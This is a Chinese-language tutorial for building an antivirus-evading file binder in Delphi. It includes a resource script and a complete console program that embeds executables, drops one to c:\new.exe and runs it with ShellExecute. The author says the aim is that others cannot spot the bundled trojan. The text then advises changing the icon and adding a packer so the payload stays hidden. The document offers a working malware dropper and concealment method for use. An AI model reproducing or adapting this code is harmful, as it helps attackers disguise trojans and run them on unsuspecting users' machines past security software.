DELPHI捆绑新思路~绝对免杀
首先要建立我们的资源文件,在记事本中写入mask exefile mask.exe这样形式的n行,第一个mask是delphi调用这个exefile资源文件的名字,第二个表示资源类型exefile就是exe文件了,最后是文件名,把所有需要捆绑的文件都以这样的形式写入,保存为rc后缀的文件exe.rc,
如 mask exefile mask.exe
setup exefile setup.exe
接着cmd下输入Brcc32 exe.rc 就会把exe.rc编译成资源文件exe.res。
前期工作做完了,接着在delphi中新建一个console application,这样是方便我们建立一个个头更小的exe,
如果是一个application的话什么都不做都会有359k之巨!而且这里我们也不需要任何窗体。接着就可以把代码
替换成如下:
program Project2;
uses
windows, shellapi, classes; //必须用到的单元
{$R exe.res} //连接我们的资源文件
function ExtractRes(ResType, ResName, ResNewName: string): boolean; //建立一个函数释放res
var
Res: TResourceStream; //Tresource调用了classes单元
begin
try
Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
try
Res.SavetoFile(ResNewName);
Result := true;
finally
Res.Free;
end;
except
Result := false;
end;
end;
var
handle:Thandle; //调用了classes单元
begin
ExtractRes('exefile','mask','c:\new.exe'); //调用ExtractRes函数释放到c:\new.exe
ShellExecute(handle, 'open', PChar('c:\new.exe'), nil, nil, SW_SHOW); //调用shellexecute这个api
执行它,调用了shellapi和windows单元
end.
注释已经写得很详细了,这是释放一个文件的演示,释放多个文件多几个ExtractRes 和ShellExecute 就ok了。
这样编译出来的文件是134k,其中包含了我的exe文件有48k这样自己作出来的捆绑文件别人就很难发现什么异样了,只要木马不被杀就行~。
生成的程序文件想换图标的话,可以用Restorator打开,添加图标资源。最后再随便加个壳,这样用Restorator打开也看不到捆绑的文件了